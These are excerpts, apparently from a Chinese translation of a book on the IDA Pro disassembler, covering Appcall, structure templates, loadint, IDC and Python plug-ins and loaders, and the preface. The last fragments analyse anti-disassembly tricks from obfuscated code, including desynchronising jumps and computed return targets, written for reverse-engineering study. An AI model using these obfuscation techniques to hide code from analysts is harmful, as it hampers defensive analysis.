下面我们来看一个示例，该示例使用Appcall将一个4096 字节的内存块分配到当前（Windows）进程地址空间中。在本例中，我们希望调用的 Windows API函数名为 VirtualAlloc ，其原型如下所示： LPVOID WINAPI VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 如果以C 语言编写代码，使用 Appcall调用 VirtualAlloc 函数的代码如下所示： VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 解析所有常量后，此函数调用最终变为： VirtualAlloc(0, 4096, 0x3000, 4); 如前所述，在调试 Windows 进程时，IDA 会将函数所属的库的名称作为每个库函数的名称的前缀。因此，激活调试器后， VirtualAlloc 将被命名为 kernel32_VirtualAlloc ，如下面的代码所示： kernel32.dll:766B2FB6 ; ====== S U B R O U T I N E ======== kernel32.dll:766B2FB6 kernel32.dll:766B2FB6 ; Attributes: bp-based frame kernel32.dll:766B2FB6 kernel32.dll:766B2FB6 kernel32_VirtualAlloc proc near 由于IDA 的类型库对名为 kernel32_VirtualAlloc 的函数一无所知，所以不会显示任何类型信息。由于 Appcall需要了解函数的类型签名，因此我们需要使用 Set Function Type 命令将相关信息添加到数据库中。只要我们指定的签名允许 IDA 将参数正确传送给所调用的函数，就不需要具体的类型签名了。在本例中，我们提供了以下签名： kernel32.dll:766B2FB6 ; Attributes: bp-based frame kernel32.dll:766B2FB6 kernel32.dll:766B2FB6 ; int __stdcall kernel32_VirtualAlloc(int, int, int, int) kernel32.dll:766B2FB6 kernel32_VirtualAlloc proc near 现在，我们已经作好准备，可以使用 Appcall为我们的进程分配更多内存。使用 IDC 可以轻松完成这个任务，因为我们只需要调用 VirtualAlloc ，就像调用 IDC 函数一样。在 IDA 命令行中输入函数调用，并使用 Message 函数显示结果，将生成以下输出： IDC>Message(\"%x\\n\", kernel32_VirtualAlloc(0, 4096, 0x3000, 4)); 3c0000 结果，一个 4096 字节的新内存块分配给了地址 0x3c0000 处的进程。要在 IDA 中显示这个新内存块，我们必须使用 Debugger ▶Refresh内存命令，或等候 IDA 执行刷新及其他调试器操作。 在Python 中执行Appcall的语法会略有不同，需要用到在 idaapi 模块中定义的 Appcall 变量。但是，你仍然需要提供命名函数与类型签名。以 Python 编写的、使用 Appcall调用 VirtualAlloc 函数的代码如下所示： Python>Message(\"%x\\n\" % Appcall.kernel32_VirtualAlloc(0, 4096, 0x3000, 4)) 3d0000 有关Appcall及其用法的其他信息与示例，请参阅 Hex-Rays 博客 1 。 1. 参见 http://www.hexblog.com/?p=113 。"},
    {"text": "未知 第13章 扩展IDA 的知识 根据前面的讨论可知，一个高质量的反汇编代码清单显然不仅仅是一个由字节序列生成的助记符和操作码组成的。为使反汇编代码清单发挥更大的作用，我们需要用在处理各种与API 有关的数据（如函数原型和标准数据类型）时获得的信息来扩充反汇编代码清单。在第8 章中，我们讨论了 IDA 如何处理数据结构，包括如何访问标准 API 数据结构和如何定制数据结构。本章将通过分析 IDA 的 idsutils 和 loadint 实用工具的用法，继续讨论扩展 IDA 的知识。你可以从 IDA 的产品光盘上获得这些实用工具，或者从 Hex-Rays 的下载站点下载 1 。 1. 参见 http://www.hex-rays.com/idapro/idadown.htm 。下载时需要提供有效的用户名和密码。 未知 8.8 小结 除了最简单的程序外，你可能会在各种程序中遇到复杂的数据类型。了解如何访问复杂数据结构中的数据，以及如何收集有关这些复杂数据结构的布局的线索，是一项基本的逆向工程技巧。IDA 提供大量功能，专门用于满足你在处理复杂数据结构方面的需求。熟悉这些功能将大大提高你在理解数据类型方面的能力，从而将更多的精力放在理解如何及为何操纵数据上。 在下一章中，我们介绍交叉引用和图形，并结束对 IDA 基本功能的讨论。随后，我们将讨论IDA 的高级功能，正是这些功能将 IDA 与其他逆向工程工具区别开来。"},
    {"text": "未知 8.3 使用结构体模板 有两种方法可对反汇编代码清单中的结构体定义加以利用。首先，你可以重新格式化内存引用，将类似于 [ebx+8] 的数字结构体偏移量转换成诸如 [ebx+ch8_struct.field4] 之类的符号式引用，从而提高它们的可读性。后一种符号式引用提供了更多有关引用内容的信息。因为 IDA 使用一种层次表示法，因此，你可以清楚地知道，程序访问的是什么类型的结构体，访问的是该结构体中的哪一个字段。当程序通过指针来引用结构体时，这种应用结构体模板的技术最有用。第二种应用结构体模板的方法是，提供其他可应用于栈和全局变量的数据类型。 为了理解如何将结构体定义应用于指令操作数，我们把每个定义看成类似于一组枚举常量。例如，图 8-5 中 ch8_struct 的定义可以用下面的伪 C 代码表示： enum { ch8_struct.field1 = 0, ch8_struct.field2 = 4, ch8_struct.field3 = 6, ch8_struct.field4 = 8, ch8_struct.field5 = 16 }; 对于这样一个定义，你可将操作数中使用的任何常量值转换成其对应的符号形式。如图 8-7是一个正在进行中的此类操作。内存引用 [ecx+10h] 可能访问的是 ch8_struct 中的 field5 字段。 图8-7 应用结构体偏移量 在图8-7 中，右击 10h，即可在上下文菜单中看到 Structure offset（结构体偏移量）选项，它提供3 种形式对指令操作数进行格式化。这 3 种形式全部是从包含一个偏移量为 16 的字段的结构体集合中提取出来的。 作为格式化内存引用的另一种方法，可以将栈和全局变量格式化成整个结构体。要将栈变量格式化成结构体，双击该变量，打开详细栈帧视图，然后使用Edit ▶ Struct Var （ALT+Q）命令显示一组已知的结构体，如图 8-8 所示。 图8-8 选择结构体对话框 选择其中一个结构体，可将栈中对应的字节数组合成对应的结构体类型，并将所有相关内存引用重新格式化成结构体引用。下面的代码摘自前面分析的栈分配的结构体示例： .text:00401006 mov [ebp+var_18], 10 .text:0040100D mov [ebp+var_14], 20 .text:00401013 mov [ebp+var_12], 30 .text:00401017 mov [ebp+var_10], 40 .text:0040101E fld ds:dbl_40B128 .text:00401024 fstp [ebp+var_8] 记得前面得出结论， var_18 实际上是一个大小为 24 字节的结构体的第一个字段。上述代码的详细栈帧如图 8-9 所示。 图8-9 格式化之前的栈分配的结构体 选择 var_18 并将其格式化成 ch8_struct （Edit ▶ Struct Var），会将以 var_18 开头的24 个字节（ ch8_struct 的大小）折叠成一个变量，并得到如图 8-10 所示的重新格式化后的栈窗口。在这个例子中，对 var_18 应用结构体模板将生成一条警告消息，指出在将 var_18 转换为结构体的过程中，有一些变量将会遭到破坏。基于我们前面的分析，我们已经意识到这种情况，因此，我们只需认可该警告消息，完成操作即可。 图8-10 格式化之后的栈分配的结构体 重新格式化之后，IDA 认识到，任何对分配给 var_18 的24 个字节块的内存引用，都必须引用该结构体中的一个字段。如果 IDA 发现这样一个引用，它会尽一切努力，将这个内存引用与结构体变量中的一个已定义的字段关联起来。在这个特例中，反汇编代码清单会自动进行重新格式化，以合并结构体布局，如下所示： .text:00401006 mov [ebp+var_18.field1], 10 .text:0040100D mov [ebp+var_18.field2], 20 .text:00401013 mov [ebp+var_18.field3], 30 .text:00401017 mov [ebp+var_18.field4], 40 .text:0040101E fld ds:dbl_40B128 .text:00401024 fstp [ebp+var_18.field5] 在反汇编代码清单中使用结构体表示法的好处在于，它从总体上提高了反汇编代码清单的可读性。在重新格式化后的窗口中使用字段名称，能够更加准确地反映源代码是如何操纵数据的。 将全局变量格式化成结构体的过程与格式化栈变量所使用的过程几乎完全相同。要进行格式化，选择要格式化的变量，或者表示结构体开头部分的地址，再使用 Edit ▶ Struct Var （ALT+Q）选择合适的结构体类型即可。作为针对未定义的全局数据（不是栈数据）的备选方案，你可以使用IDA 的上下文菜单选择要查看的结构体选项，并选择要应用于所选地址的可用结构体模板。"},
    {"text": "未知 15.1 执行脚本的基础知识 在深入学习脚本语言之前，我们有必要了解执行脚本的常用方法。3 个菜单选项，File▶Script File 、File▶IDC Command 和File▶ Python Command 1 ，可用于访问IDA 的脚本引擎。选择File▶Script File表示你希望运行一个独立的脚本，这时，IDA 会显示一个选择文件对话框，让你选择想要运行的脚本。每次运行一个新的脚本，这个程序都被添加到最近运行的脚本列表中，以方便你以后编辑或再次运行这个脚本。通过 View▶Recent Scripts 菜单项访问的 Recent Scripts 窗口如图15-1 所示。 1. 如果正确安装了Python ，只有这个选项可用。详细信息可参见第3 章。 图15-1 Recent Scripts 窗口 双击列出的脚本可执行该脚本。一个弹出式上下文菜单将提供各种选项，可用于从列表中删除脚本，或使用在 Misc （杂项）选项卡上的 Options ▶ General（选项▶常规）下指定的编辑器对打开的某个脚本进行编辑。 另外，要执行一个独立的脚本文件，可以使用 File ▶ IDC Command 或者File ▶ Python Command打开一个脚本输入对话框，如图 15-2 所示（本例中使用的是 IDC 脚本）。如果只想执行少数几个语句，而又不愿意单独创建一个脚本文件，这时就可以使用这个对话框。 图15-2 脚本输入对话框 你只能在脚本对话框中输入某些类型的语句。但是，如果你不需要创建一个功能全面的脚本文件，这个对话框会非常有用。 执行脚本命令的最后一个方法是使用 IDA 的命令行。这个命令行仅适用于GUI 版本的IDA ，并且由<IDADIR>/cfg/idagui.cfg 中的 DISPLAY_COMMAND_LINE 选项控制。自从IDA5.4以来，这个命令行默认都是启用的。该命令行如图 15-3 所示，它位于 IDA 工作区的左下角、输出窗口的下面。 图15-3 IDA 命令行 将用于执行命令行的解释器在命令行输入框的左侧标注。在图 15-3 中，IDA 配置命令行执行IDC 语句。单击此标签，将打开如图 15-3 所示的弹出式菜单，可将解释器（IDC 或Python ）与命令行关联起来。 虽然命令行中仅仅包含一行文本，但是，你可以在其中输入多个 IDC 语句，并用分号将它们分隔开来。你可以使用向上箭头键访问最近运行的命令。如果需要经常执行非常短小的脚本，启用IDA 命令行非常有用。 了解了基本的脚本执行功能后，接下来我们将详细了解IDA 的两种脚本语言，IDC 和Python 。我们首先介绍 IDA 的本地脚本语言 IDC ，然后讨论 IDA 对Python 的集成（Python 在很大程度上依赖于我们在接下来几节中介绍的 IDC ）。 未知 第17章 IDA 插件体系结构 在本书接下来的几章中，我们将介绍可以使用 IDA SDK 创建的各种模块，还将介绍一些新特性（自从 IDA 5.7 以来），这些特性允许使用一种IDA 脚本语言来开发相同类型的模块。无论你是否想要建立自己的插件，了解插件的基础知识将大大提高你使用 IDA 的效率，这是因为，绝大多数为 IDA 开发的第三方软件都是以插件形式发布的。本章将开始学习 IDA 模块，讨论 IDA 插件的用途，以及如何创建、安装和配置插件。 可以这样说：插件是经过编译的、功能更加强大的 IDC 脚本。插件通常与热键和菜单项关联，并且只有在数据库打开后才能使用。插件可能是通用的，可以处理各种二进制文件或者供各种处理器体系结构使用。插件也可能非常专门化，仅供某个特殊的文件或处理器使用。由于是被编译的模块，无论是哪一种情况，插件都能够完全访问 IDA API 。同时，与仅仅使用脚本相比，插件还能够执行更加复杂的任务。 未知 第12章 使用FLIRT 签名来识别库 现在，我们将开始讨论IDA 的高级功能。同时，我们将探讨在“最初的自动分析已经完成” 1 之后，该执行什么操作。本章将讨论各种技巧，以识别标准的代码序列，如静态链接二进制文件中的库代码，或者编译器插入的标准初始化代码和辅助函数。 1. 在自动处理新加载的二进制文件之后，IDA 会在输出窗口中生成这条消息。 在着手对二进制文件进行逆向工程时，你最不应该做的事情是，浪费时间逆向工程那些你只需阅读一本手册、一段源代码或搜索一下因特网就可以更轻易地了解其行为的库函数。静态链接二进制文件造成的问题在于，应用程序代码与库代码之间的区别很模糊。在静态链接二进制文件中，所有库与应用程序代码混杂在一起，组成了一个庞大的可执行文件。不过，有许多工具可以帮助我们在 IDA 中识别和标记库代码，使我们可以把注意力放在应用程序自身的代码上。"},
    {"text": "未知 17.7 脚本化插件 IDA 5.6引入了对脚本化加载器模块的支持。IDA 5.7则添加了对脚本化插件（scripted plug-in ） 1 和处理器模块的支持。虽然这样做不一定有助于开发出更加强大的插件，但它确实在一定程度上降低了插件开发者开发插件的难度，并且由于取消了复杂的构建流程，也缩短了开发周期。 1. 参见 http://www.hexblog.com/?p=120 。 尽管你可以使用 IDC 或Python 创建脚本化插件，但由于 Python 与IDA SDK 非常类似，使用Python 可能是你的最佳选择。鉴于此，Python 插件就与已编译的 C++ 插件一样强大了。 创建Python 插件的过程非常简单。你主要需要定义一个名为 PLUGIN_ENTRY 的函数，该函数返回 plugin_t （在模块 idaapi 中定义）的一个实例。 plugin_t 类包含反映SDK 的C++ plugin_t 类成员的成员。代码清单 17-4 显示了一个简单的 Python 插件，该插件定义了一个名为 idabook_plugin_t 的类（继承自 plugin_t ），初始化所有必需的成员，并定义实现插件行为的 init、term 和 run 函数。 代码清单 17-4 一个小型Python 插件 from idaapi import * class idabook_plugin_t(plugin_t): flags = 0 wanted_name = \"IdaBook Python Plugin\" wanted_hotkey = \"Alt-8\" comment = \"IdaBook Python Plugin\" help = \"Something helpful\" def init(self): msg(\"IdaBook plugin init called.\\n\") return PLUGIN_OK def term(self): msg(\"IdaBook plugin term called.\\n\") def run(self, arg): warning(\"IdaBook plugin run(%d) called.\\n\" % arg) def PLUGIN_ENTRY(): return idabook_plugin_t() 要安装插件，只需将脚本复制到/plugins 目录中即可。 以IDC 编写的同一插件如代码清单 17-5 所示。由于IDC 没有定义与插件有关的基类，因此我们需要创建一个类，以定义插件所需的所有元素，同时需要确保正确命名每个元素。 代码清单 17-5 一个小型IDC 插件 #include class idabook_plugin_t { idabook_plugin_t() { this.flags = 0; this.wanted_name = \"IdaBook IDC Plugin\"; this.wanted_hotkey = \"Alt-9\"; this.comment = \"IdaBook IDC Plugin\"; this.help = \"Something helpful\"; } init() { Message(\"IdaBook plugin init called.\\n\"); return PLUGIN_OK; } term() { Message(\"IdaBook plugin term called.\\n\"); } run(arg) { Warning(\"IdaBook plugin run(%d) called.\\n\", arg); } } static PLUGIN_ENTRY() { return idabook_plugin_t(); } 与Python 示例一样， PLUGIN_ENTRY 函数用于创建并返回插件类的一个实例。同样，要安装插件，只需将.idc 文件复制到/plugins 目录中即可。"},
    {"text": "未知 18.6 编写脚本化加载器 在IDA 5.6 中，Hex-Rays 引入了使用 Python 或IDC 脚本实现加载器的功能。在宣布此项新功能的Hex 博客文章中1，Hex-Rays 的Elias Bachaalany描述了一个加载器，该加载器以 Python实现，用于加载一个包含 shellcode 的特定类型的恶意.pdf 文件。虽然该加载器不会将.pdf 文件的恶意本质类推到所有的.pdf 文件，但该加载器是如何在 IDA 中加载不受支持的文件格式的范例。 1. 参见： http://www.hexblog.com/?P=110 。 脚本化加载器能够以 IDC 或Python 实现，并且至少需要 accept_file 和 load_file 这两个函数，它们的功能与我们前面讨论基于 SDK 的加载器时提及的函数的功能类似。simpleton 文件格式的IDC 加载器如下所示： #include #define SIMPLETON_MAGIC 0x1DAB00C //Verify the input file format // li - loader_input_t object. See IDA help file for more information // n - How many times we have been called //Returns: // 0 - file unrecognized // Name of file type - if file is recognized static accept_file(li, n) { auto magic; if (n) return 0; li.readbytes(&magic, 4, 0); if (magic != SIMPLETON_MAGIC) { return 0; } return \"IDC Simpleton Loader\"; } //Load the file // li - loader_input_t object // neflags - refer to loader.hpp for valid flags // format - The file format selected nby the user //Returns: // 1 – success // 0 – failure static load_file(li, neflags, format) { auto magic, size, base; li.seek(0, 0); li.readbytes(&magic, 4, 0); li.readbytes(&size, 4, 0); li.readbytes(&base, 4, 0); // copy bytes to the database loadfile(li, 12, base, size); // create a segment AddSeg(base, base + size, 0, 1, saRelPara, scPub); // add the initial entry point AddEntryPoint(base, base, \"_start\", 1); return 1; } 除了用IDC 函数替代 SDK 函数外，IDC 版本的simpleton 加载器与C++ 版本的加载器之间的相似性（如前所述）应相当明显。要安装加载器脚本，只需将它们复制到/loaders 目录中即可。 Python 也可用于开发加载器并实现更加稳健的开发流程，因为它可以在更大程度上访问IDA的基本SDK 。以Python 实现的simpleton 加载器如下所示： #Verify the input file format # li - loader_input_t object. See IDA help file for more information # n - How many times we have been called #Returns: # 0 - file unrecognized # Name of file type - if file is recognized def accept_file(li, n): if (n): return 0 li.seek(0) magic = struct.unpack(\"I\", li.read(4))[0] if magic != 0x1DAB00C: return 0 return \"Python Simpleton Loader\" #Load the file # li - loader_input_t object # neflags - refer to loader.hpp for valid flags # format - The file format selected nby the user #Returns: # 1 – success # 0 – failure def load_file(li, neflags, format): li.seek(0) (magic, size, base) = struct.unpack(\"<III\", li.read(12)) # copy bytes to the database li.file2base(12, base, base + size, 1) # create a segment add_segm(0, base, base + size, \".text\", \"CODE\") # add the initial entry point add_entry(base, base, \"_start\", 1) return 1; 编写加载器（以及插件）脚本的一个最大优势在于，通过它们可以为可能最终使用 SDK 实现的模块快速创建原型。"},
    {"text": "未知 13.2 使用loadint 扩充预定义注释 在第7 章中，我们介绍了 IDA 的“自动注释”概念，如果启用了它，IDA 将显示描述每个汇编语言指令的注释。如下所示是这种注释的两个例子： .text:08048654 lea ecx, [esp+arg_0] ; Load Effective Address .text:08048658 and esp, 0FFFFFFF0h ; Logical AND 这些预定义注释保存在/ida.int 文件中，这些注释主要按 CPU 类型排序，其次按指令类型排序。如果启用自动注释，IDA 会在 ida.int 文件中搜索与每一条指令有关的注释，如果找到，它将在反汇编代码清单的右侧显示这些注释。 使用 loadint 1 实用工具可以修改现有的注释，或在 ida.int 文件中添加新注释。如我们前面讨论的其他附加实用工具一样， loadint 发行版自带的readme.txt 文件介绍了 loadint 的用法。 loadint 发行版中还包含大量的.cmt 文件，它们是描述 IDA 的所有处理器模块的预定义注释。修改现有注释的过程非常简单，首先确定与处理器关联的注释文件（如用于x86 处理器的pc.cmt文件），其次修改其中的注释，运行loadint 重新创建ida.int 注释文件，最后将得到的 ida.int 文件复制到IDA 主目录中，下次启动时，IDA 将从这个目录加载新建的 ida.int 文件。一段重建注释数据库的简单代码如下所示： 1. 当前版本为loadint61.zip。 $ ./loadint comment.cmt ida.int Comment base loader. Version 2.04. Copyright (c) 1991-2011 Hex-Rays 17566 cases, 17033 strings, total length: 580575 你希望进行的更改包括：修改现有注释，或为没有注释的指令添加注释。例如，在pc.cmt文件中，为使在启用自动注释时不会生成过多注释，IDA 并没有为几个比较常见的指令添加注释。下面的代码行取自 pc.cmt 文件，它们证实，默认情况下，x86 mov 指令并不生成注释： NN_ltr: \"Load Task Register\" //NN_mov: \"Move Data\" NN_movsp: \"Move to/from Special Registers\" 如果你希望为 mov 指令添加注释，你可以删除中间一行注释，并根据详细步骤重建注释数据库。 loadint 文档资料中的一条提示指出：loadint 必须能够找到IDA 发行版自带的 ida.hlp 文件。如果你收到以下错误消息，应该将 ida.hlp 文件复制到loadint 目录，并重新运行 loadint 。 $ ./loadint comment.cmt ida.int Comment base loader. Version 2.04. Copyright (c) 1991-2011 Hex-Rays Can't initialize help system. File name: 'ida.hlp', Reason: can't find file (take it from IDA distribution). 此外，你可以对 loadint 使用 -n 选项，指定 <IDADIR> 的位置，如下面的命令行所示： $ ./loadint -n comment.cmt ida.int comment.cmt 文件是 loadint 的主输入文件，这个文件的语法记录在 loadint 文档中。简言之，commnet.cmt 创建处理器类型与相关的注释文件之间的映射。特定于处理器的注释文件则反过来指定特定指令与每条指令的相关注释文本之间的对应关系。整个过程由几个枚举（C 风格枚举）常量控制，它们定义所有处理器类型（位于 comment.cmt 文件中）以及每个处理器可能使用的所有指令（位于 allins.hpp 文件中）。 如果你希望给一个全新的处理器类型添加预定义注释，这个过程可能会比仅修改现有的注释要复杂一些。而且，这个过程还与创建新的处理器模块（参见第 19 章）直接相关。如果不深入分析处理器模块，要给一个全新的处理器类型添加注释，首先，你需要在 allins.hpp 文件中创建一个新的枚举常量集合（与处理器模块共享），由它为指令集中的每条指令定义一个常量；其次，必须创建一个注释文件，将每个枚举指令常量与相关的注释文本关联起来；最后，必须为你的处理器类型定义一个新常量（同样，与处理器模块共享），并在comment.cmt 中创建一个条目，将处理器类型与相关的注释文件对应起来。完成这些步骤后，必须运行loadint ，建立一个新的注释数据库，并将新的处理器类型及相关注释添加到其中。"},
    {"text": "未知 前言 撰写一本关于IDA Pro的书是一个充满挑战的任务。事实上，IDA 是一款非常复杂的软件，它的功能特别强大，要在一本书中详细介绍所有这些功能，几乎是一项无法完成的任务。而且，IDA一直在不断推出新版本，因此，任何介绍IDA 的图书在出版时都会落后一两个版本。在本书第1版即将出版时，IDA 发布了版本5.3，但自本书第1版出版以来，IDA 已发布了7个新版本（包括版本5.3）。IDA 6.0 采用了一个新的、基于Qt 1 的图形用户界面，这促使我对本书进行更新，以介绍许多第1 版并未介绍的功能。当然，和往常一样，IDA 的另一个版本（6.1）也即将发布， 2 这确实让人非常兴奋。 1.Qt是诺基亚开发的一个跨平台的C++ 图形用户界面应用程序框架。——译者注 2.2011年4月发布了IDA 6.1，2011 年10月发布了IDA 6.2。——编者注 我撰写这一版的目的是帮助更多用户了解IDA ，并培养他们对逆向工程的兴趣（如果可能）。对于希望进入逆向工程领域的读者，我希望向你们强调掌握熟练的编程技巧的重要性。理想情况下，你们应热爱编程，甚至要时时刻刻都想着编程。如果你对编程感到畏惧，那么逆向工程可能并不适合你。你可能会认为，逆向工程根本不需要编程，因为这只需要分解其他人的程序，但如果无法开发出能帮助你自动完成各种任务的脚本和插件，你永远也不可能成为真正高效的逆向工程人员。对我而言，编程和逆向工程就像是《纽约时报》周日版的纵横字谜游戏，对此我乐在其中。 为保持一致性，这个版本保留了第1 版的总体结构，并且更为详细地阐述了部分章节，同时增加了一些新内容。阅读本书的方式多种多样。对逆向工程知之甚少的用户可以从第1 章和第2章开始，了解有关逆向工程和反汇编器的一些信息；对IDA 了解不多、希望深入学习的读者可以从第3章开始，这一章主要介绍IDA 的基本布局；第4章则描述如何启动IDA 并加载文件进行分析；第5章到第7章介绍IDA 的用户界面窗口和基本功能。 对IDA 有一定了解的读者可以从第8章开始阅读，这一章讨论如何使用IDA 处理复杂的数据结构，包括C++ 类；而第9 章则介绍IDA 交叉引用，它是IDA 基于图形的显示（也在第9 章介绍）的基础；第10 章说明如何在非Windows平台上（Linux或OS X）运行IDA 。 更加高级的IDA 用户可能会发现，第11 章到第14 章是不错的起点，主要介绍IDA 的高级用法及其配套工具。第11 章简要说明IDA 的一些配置选项；第12 章描述IDA 的FLIRT/FLAIR 技术和相关工具，我们利用它们开发签名，并利用这些签名将库代码与应用程序代码区分开来；第13 章讨论IDA 类型库及如何扩展类型库；而第14章则回答一些常见的问题，说明IDA 是否可用于修补二进制文件。 IDA 是一款即装即用的强大工具，可扩展性是它最大的优点之一，这些年来，用户利用这一优点让IDA 完成了一些非常有趣的任务。IDA 的可扩展性在第15 章到第19 章讨论。第15 章介绍IDA的脚本功能（新增了IDAPython ），并系统讨论IDA 的SDK （软件开发工具包）提供的编程API；第16 章全面介绍SDK ；而第17章到第19 章则讨论插件、文件加载器和处理器模块。 介绍完IDA 的全部功能后，第20 章至第23 章转而讨论IDA 在逆向工程方面更加实际的用法，分析各种编译器的区别（第20章），介绍如何使用IDA 分析恶意软件中常见的模糊代码（第21 章），以及如何利用IDA 发现和分析漏洞（第22 章）。第23 章则介绍这些年来发布的一些有用的IDA 扩展（插件）。 最后，第24 章至第26 章介绍IDA 的内置调试器。第24 章首先介绍调试器的基本功能；第25 章讨论使用调试器分析模糊代码遇到的一些挑战，其中包括处理可能出现的反调试功能所带来的挑战；第26 章则讨论IDA 的远程调试功能，以及使用Bochs模拟器作为集成的调试平台，以此结束本书的讨论。 写作本书时，IDA 的最新版本为6.1，本书在很大程度上以IDA 6.1 为介绍对象。Hex-Rays 公司非常慷慨，为用户提供了一个免费版本。IDA 免费版是IDA 5.0的一个删减了部分功能的版本。本书讨论的大部分IDA 功能也适用于免费版本，附录A简要介绍了用户在使用免费版本时可能遇到的一些不同之处。 首先学习IDA 脚本功能，然后逐步学习如何创建编译插件，这似乎是一个自然的发展过程。因此，我们在附录B 中全面介绍了每一个IDC 函数及其对应的SDK 操作。有时候，你可以在IDC函数与SDK 函数之间建立起一一对应的关系（尽管这些函数的名称并不相同）；而有时候，实现单独一个IDC 函数可能需要调用几个SDK 函数。附录B回答了这个问题：“我知道如何用IDC 完成某个任务，但是，如何使用插件完成这个任务呢？”附录B中的信息通过逆向工程IDA 内核获得，根据IDA 的非传统许可协议，这样做完全合法。 在整本书中，我都尽量使用较短的代码说明问题。绝大多数的示例代码，以及许多用于生成示例的二进制文件，都可以在本书的官方网站上找到，其地址为 http://www.idabook.com/ 。在那里，你还可以找到本书并未包含的一些示例，以及本书所使用的所有参考文献（如脚注中引用的URL的最新链接）。"},
    {"text": "21.1.1 反汇编去同步 这是一种较为古老的技巧，它专门破坏反汇编过程，即创造性地使用指令和数据，以阻止反汇编器找到一条或多条指令的起始地址。"},
    {"text": "LOAD:0A04B0D1 call ➊ near ptr loc_A04B0D6+1 LOAD:0A04B0D6 LOAD:0A04B0D6 loc_A04B0D6: ; CODE XREF: start+11 ↓ p ➋ LOAD:0A04B0D6 mov dword ptr [eax-73h], 0FFEB0A40h LOAD:0A04B0D6 start endp LOAD:0A04B0D6 LOAD:0A04B0DD LOAD:0A04B0DD loc_A04B0DD: ; CODE XREF: LOAD:0A04B14C↓ j LOAD:0A04B0DD loopne loc_A04B06F LOAD:0A04B0DF mov dword ptr [eax+56h], 5CDAB950h ➌ LOAD:0A04B0E6 iret LOAD:0A04B0E6 ;--------------------------------------------------------------- ➍ LOAD:0A04B0E7 db 47h LOAD:0A04B0E8 db 31h, 0FFh, 66h LOAD:0A04B0EB ;--------------------------------------------------------------- LOAD:0A04B0EB LOAD:0A04B0EB loc_A04B0EB: ; CODE XREF: LOAD:0A04B098↑ j LOAD:0A04B0EB mov edi, 0C7810D98h 这个例子执行了一次调用（➊，使用跳转会更加方便），调用对象在现有指令的中间（➋）。"},
    {"text": "调用指令的真正目标—— loc_A04B0D6+1(0A04B0D7) —— 将不会被反汇编，因为相关字节已经作为 0A04B0D6 处的 5 字节指令的一部分分配。"},
    {"text": "使用IDA ，将光标放在处，应用 Edit ▶Undefine（热键 U），然后将光标放在 0A04B0D7 地址处，应用Edit ▶Code（热键C），可以得到下面的代码： LOAD:0A04B0D1 call loc_A04B0D7 LOAD:0A04B0D1 ;------------------------------------------------------------ ➊ LOAD:0A04B0D6 db 0C7h ; ¦ LOAD:0A04B0D7 ;------------------------------------------------------------ LOAD:0A04B0D7 LOAD:0A04B0D7 loc_A04B0D7: ; CODE XREF: start+11↑ p ➋ LOAD:0A04B0D7 pop eax LOAD:0A04B0D8 lea eax, [eax+0Ah] LOAD:0A04B0DB LOAD:0A04B0DB loc_A04B0DB: ; CODE XREF: start:loc_A04B0DB ↑ j ➌ LOAD:0A04B0DB jmp short near ptr loc_A04B0DB+1 LOAD:0A04B0DB start endp LOAD:0A04B0DB LOAD:0A04B0DB ;------------------------------------------------------------ LOAD:0A04B0DD db 0E0h ; a 从这个代码段中，我们发现，很明显，地址 0A04B0D6 （➊）处的字节从未执行。"},
    {"text": "值得注意的是，不久之后，我们这里讨论的反逆向工程技巧又被重新利用，这次它使用的是地址 0A04B0DB （➌）处的一个 2 字节跳转指令，它实际上跳转到自身之中。"},
    {"text": "再一次应用取消定义（地址 0A04B0DB 处）和重新定义（地址 0A04B0DC 处）过程，得到下面的反汇编代码清单： ➋ LOAD:0A04B0D7 pop eax ➌ LOAD:0A04B0D8 lea eax, [eax+0Ah] LOAD:0A04B0D8 ; -------------------------------------------------------------- LOAD:0A04B0DB db 0EBh ; d LOAD:0A04B0DC ; -------------------------------------------------------------- ➊ LOAD:0A04B0DC jmp eax LOAD:0A04B0DC start endp 结果，跳转指令的目标是另一条跳转指令（➊）。"},
    {"text": "下面的反汇编代码清单说明如何使用 x86 Z 标志实现这个目的： ➊ .text:00401000 xor eax, eax ➋ .text:00401002 jz short near ptr loc_401009+1 ➌ .text:00401004 mov ebx, [eax] ➍ .text:00401006 mov [ecx-4], ebx .text:00401009 .text:00401009 loc_401009: ; CODE XREF: .text:00401002↑ j ➎ .text:00401009 call near ptr 0ADFEFFC6h .text:0040100E ficom word ptr [eax+59h] 这里的xor 指令（➊）用于清零 EAX寄存器和设置 x86 Z 标志。"},
    {"text": "正确反汇编后的代码如下所示： .text:00401000 xor eax, eax .text:00401002 jz short loc_40100A .text:00401004 mov ebx, [eax] .text:00401006 mov [ecx-4], ebx .text:00401006 ; ------------------------------------------------------------- ➋ .text:00401009 db 0E8h ; F .text:0040100A ; ------------------------------------------------------------- .text:0040100A .text:0040100A loc_40100A: ; CODE XREF: .text:00401002↑ j ➊ .text:0040100A mov eax, 0DEADBEEFh .text:0040100F push eax .text:00401010 pop ecx 由于额外的字节（➋）首先导致了去同步，跳转的真实目标（➊）已经显露出来。"},
    {"text": "下面的代码将最初的启动顺序包装在 Shiva中，提供了另一种动态计算目标地址的方法： LOAD:0A04B3BE mov ecx, 7F131760h ; ecx = 7F131760 LOAD:0A04B3C3 xor edi, edi ; edi = 00000000 LOAD:0A04B3C5 mov di, 1156h ; edi = 00001156 LOAD:0A04B3C9 add edi, 133AC000h ; edi = 133AD156 LOAD:0A04B3CF xor ecx, edi ; ecx = 6C29C636 LOAD:0A04B3D1 sub ecx, 622545CEh ; ecx = 0A048068 LOAD:0A04B3D7 mov edi, ecx ; edi = 0A048068 LOAD:0A04B3D9 pop eax LOAD:0A04B3DA pop esi LOAD:0A04B3DB pop ebx LOAD:0A04B3DC pop edx LOAD:0A04B3DD pop ecx ➊ LOAD:0A04B3DE xchg edi, [esp] ; TOS = 0A048068 LOAD:0A04B3E1 retn ; return to 0A048068 右边的注释记录了每一条指令对各种 CPU 寄存器所做的更改。"},
    {"text": "在最复杂的情形中，一个程序将使用多个线程或子进程计算控制流信息，并通过某种形式的进程间通信（对于子进程）或线程同步（对于多线程）接收这些信息。"},
    {"text": "例如，一个线程在一个共享的semaphore 3 对象上等待，而第二个线程则计算值或修改代码，一旦第二个线程通过semaphore 发出操作完成的信号，第一个线程将利用第二个线程的操作结果。"},
    {"text": "当你在房间中完成任务后，你可以离开，并将令牌交给其他人，然后，这个人将进入房间，并利用你刚刚完成的工作（你并不知道这一点，因为你这时并不在房间内）。"},
